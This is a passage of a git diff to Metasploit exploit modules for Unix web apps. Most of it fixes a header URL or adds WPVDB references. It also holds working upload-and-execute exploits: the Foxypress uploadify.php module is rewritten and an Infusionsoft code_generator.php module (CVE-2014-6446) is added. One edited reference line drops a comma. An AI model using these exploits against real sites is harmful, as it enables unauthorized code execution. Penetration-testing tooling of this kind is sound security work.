a/modules/exploits/unix/webapp/mybb_backdoor.rb +++ b/modules/exploits/unix/webapp/mybb_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index 4bba1a2ef0..db25a970a2 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,9 +20,9 @@ class Metasploit3 < Msf::Exploit::Remote Nagios3 history.cgi script. }, 'Author' => [ - 'Unknown ', # Original finding - 'blasty ', # First working exploit - 'Jose Selvi ', # Metasploit module + 'Unknown ', # Original finding + 'blasty ', # First working exploit + 'Jose Selvi ', # Metasploit module 'Daniele Martini ' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb index f4f6b3892b..d018850f22 100644 --- a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb +++ b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb index 9497ece6fd..5b74e603e8 100644 --- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb +++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index 3672d2fb00..20460bc801 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb index 0669cfdd87..f8b6b04ba6 100644 --- a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb +++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,7 +32,13 @@ class Metasploit3 < Msf::Exploit::Remote ['BID', '37314'], ['CVE', '2009-4140'], ['OSVDB', '59051'], - ['EDB', '10532'] + ['EDB', '10532'], + ['WPVDB', '6787'], + ['WPVDB', '6788'], + ['WPVDB', '6789'], + ['WPVDB', '6790'], + ['WPVDB', '6791'], + ['WPVDB', '6792'] ], 'Payload' => { diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb index d563f00ad0..5672d926bd 100644 --- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb +++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb index 243b6b31ff..6a25429929 100644 --- a/modules/exploits/unix/webapp/openemr_upload_exec.rb +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 5e24801888..0817c8863f 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb index 7183b0f5be..d271d446fa 100644 --- a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb +++ b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index a0eac8db57..e2f0b08e04 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index 2384bf51ca..be74d9939e 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index 7d1bb9b0cd..6a1540b327 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/pajax_remote_exec.rb b/modules/exploits/unix/webapp/pajax_remote_exec.rb index 23cf5bb0a1..d53edeb6e2 100644 --- a/modules/exploits/unix/webapp/pajax_remote_exec.rb +++ b/modules/exploits/unix/webapp/pajax_remote_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index eb1393d33a..7089e5a75e 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/php_eval.rb b/modules/exploits/unix/webapp/php_eval.rb index b39281daca..4c57758421 100644 --- a/modules/exploits/unix/webapp/php_eval.rb +++ b/modules/exploits/unix/webapp/php_eval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index cdb3f7c30a..164b9b2f49 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/php_vbulletin_template.rb b/modules/exploits/unix/webapp/php_vbulletin_template.rb index 48cc0d0735..9552328f3d 100644 --- a/modules/exploits/unix/webapp/php_vbulletin_template.rb +++ b/modules/exploits/unix/webapp/php_vbulletin_template.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb index e769b8c993..a9b69c9d03 100644 --- a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,17 +8,19 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper def initialize(info = {}) - super(update_info(info, + super(update_info( + info, 'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution', - 'Description' => %q{ + 'Description' => %q( This module exploits an arbitrary PHP code execution flaw in the WordPress blogging software plugin known as Foxypress. The vulnerability allows for arbitrary file upload and remote code execution via the uploadify.php script. The Foxypress - plug-in versions 0.4.2.1 and below are vulnerable. - }, + plug-in versions 0.4.1.1 to 0.4.2.1 are vulnerable. + ), 'Author' => [ 'Sammy FORGIT', # Vulnerability Discovery, PoC @@ -28,78 +30,56 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['EDB', '18991'], - ['OSVDB', '82652'], + ['OSVDB' '82652'], ['BID', '53805'], + ['WPVDB', '6231'] ], 'Privileged' => false, - 'Payload' => - { - 'Compat' => - { - 'ConnectionType' => 'find', - }, - }, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => [[ 'Automatic', { }]], + 'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]], 'DisclosureDate' => 'Jun 05 2012', 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]), - ], self.class) end def check - uri = target_uri.path - - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php") - }) + 'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php') + ) - if res and res.code == 200 - return Exploit::CheckCode::Detected - else - return Exploit::CheckCode::Safe - end + return Exploit::CheckCode::Detected if res && res.code == 200 + + Exploit::CheckCode::Safe end def exploit - - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' - - peer = "#{rhost}:#{rport}" - post_data = Rex::MIME::Message.new - post_data.add_part("", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"") + post_data.add_part("", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"") print_status("#{peer} - Sending PHP payload") - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php"), - 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, + 'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'), + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s - }) + ) - if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/ + if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/ print_error("#{peer} - File wasn't uploaded, aborting!") return end - print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...") - res = send_request_cgi({ + filename = "#{Regexp.last_match[1]}.php" + + print_good("#{peer} - Our payload is at: #{filename}. Calling payload...") + register_files_for_cleanup(filename) + res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(uri, "wp-content/affiliate_images", "#{$1}.php") - }) - - if res and res.code != 200 - print_error("#{peer} - Server returned #{res.code.to_s}") - end + 'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename) + ) + print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200 end - end diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb new file mode 100644 index 0000000000..43daf72f9f --- /dev/null +++ b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress InfusionSoft Upload Vulnerability', + 'Description' => %q{ + This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity + Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file + upload and remote code execution. + }, + 'Author' => + [ + 'g0blin', # Vulnerability Discovery + 'us3r777 ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-6446'], + ['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'], + ['WPVDB', '7634'] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]], + 'DisclosureDate' => 'Sep 25 2014', + 'DefaultTarget' => 0) + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php') + ) + + if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/ + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def exploit + php_pagename = rand_text_alpha(8 + rand(8)) + '.php' + res = send_request_cgi({ + 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', + 'Infusionsoft', 'utilities', 'code_generator.php'), + 'method' => 'POST', + 'vars_post' => + { + 'fileNamePattern' => php_pagename, + 'fileTemplate' => payload.encoded + } + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/ + print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") + register_files_for_cleanup(php_pagename) + else + fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") + end + + print_status("#{peer} - Calling payload ...") + send_request_cgi({ + 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', + 'Infusionsoft', 'utilities', php_pagename) + }, 2) + end + +end diff --git a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb index 3bf1ab9d2d..f807f9e58c 100644 --- a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb +++ b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,13 +20,14 @@ class Metasploit3 < Msf::Exploit::Remote option is enabled (common for hosting providers). All versions of WordPress prior to 1.5.1.3 are affected. }, - 'Author' => [ 'str0ke ', 'hdm' ], + 'Author' => [ 'str0ke ', 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2005-2612'], ['OSVDB', '18672'], ['BID', '14533'], + ['WPVDB', '6034'] ], 'Privileged' => false, 'Payload' => @@ -34,9 +35,9 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, 'Compat' => { - 'ConnectionType' => 'find', + 'ConnectionType' => 'find' }, - 'Space' => 512, + 'Space' => 512 }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb b/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb index 3618ffe627..6c66725f32 100644 --- a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ] + [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ], + [ 'WPVDB', '7441' ] ], 'Privileged' => false, 'Platform' => ['php'], diff --git a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb index d0ffa55992..d540fc4630 100644 --- a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb +++ b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '92652' ], [ 'BID', '59316' ], [ 'URL', 'http://wordpress.org/support/topic/pwn3d' ], - [ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ] + [ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ], + [ 'WPVDB', '6622' ] ], 'Privileged' => false, 'Platform' => ['php'], diff --git a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb index 66933a0227..46b8dc47b7 100644 --- a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb +++ b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index be06f6fcb9..14312a2f42 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 591fcc8ba0..9775cd9fb0 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 0bee0529ff..f00354ae63 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb index b52203abec..f0aaa6d5e2 100644 --- a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb +++ b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb index 6f8853e346..113f7cc419 100644 --- a/modules/exploits/unix/webapp/redmine_scm_exec.rb +++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/seportal_sqli_exec.rb b/modules/exploits/unix/webapp/seportal_sqli_exec.rb index 04bf6fd59d..d5385a3fd3 100644 --- a/modules/exploits/unix/webapp/seportal_sqli_exec.rb +++ b/modules/exploits/unix/webapp/seportal_sqli_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb index 21c3775c5a..5503487ccc 100644 --- a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb +++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb index d6c3324dc1..b57f74698c 100644 --- a/modules/exploits/unix/webapp/skybluecanvas_exec.rb +++ b/modules/exploits/unix/webapp/skybluecanvas_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index ad723c98d9..fdfed0a499 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb index 0333f6ad1b..06bd9ecd7c 100644 --- a/modules/exploits/unix/webapp/spip_connect_exec.rb +++ b/modules/exploits/unix/webapp/spip_connect_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index fd6fe00363..a8303ca871 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb index 03f76e74cb..6157612aed 100644 --- a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb +++ b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index cacbeb0e67..06df6573f1 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index 6d1469c346..04e6167531 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index 7aa18c42ea..2db6d449fb 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb index b399de9708..b54648b7f0 100644 --- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/trixbox_langchoice.rb b/modules/exploits/unix/webapp/trixbox_langchoice.rb index 096f669368..817d0d3a3e 100644 --- a/modules/exploits/unix/webapp/trixbox_langchoice.rb +++ b/modules/exploits/unix/webapp/trixbox_langchoice.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 0d1d620094..0e2e00d06c 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb index 47bcba11be..5b12cfd78e 100644 --- a/modules/exploits/unix/webapp/twiki_maketext.rb +++ b/modules/exploits/unix/webapp/twiki_maketext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index 2af281e256..95ed12f2fe 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb index 9194c0958b..182688550f 100644 --- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb +++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index dcf88c8a12..71253fe75b 100644 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Adam Caudill ', # Vulnerability discovery - 'AverageSecurityGuy ', # Metasploit Module + 'Adam Caudill ', # Vulnerability discovery + 'AverageSecurityGuy ', # Metasploit Module 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb index b118f8867f..c9eb84ea77 100644 --- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb +++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: 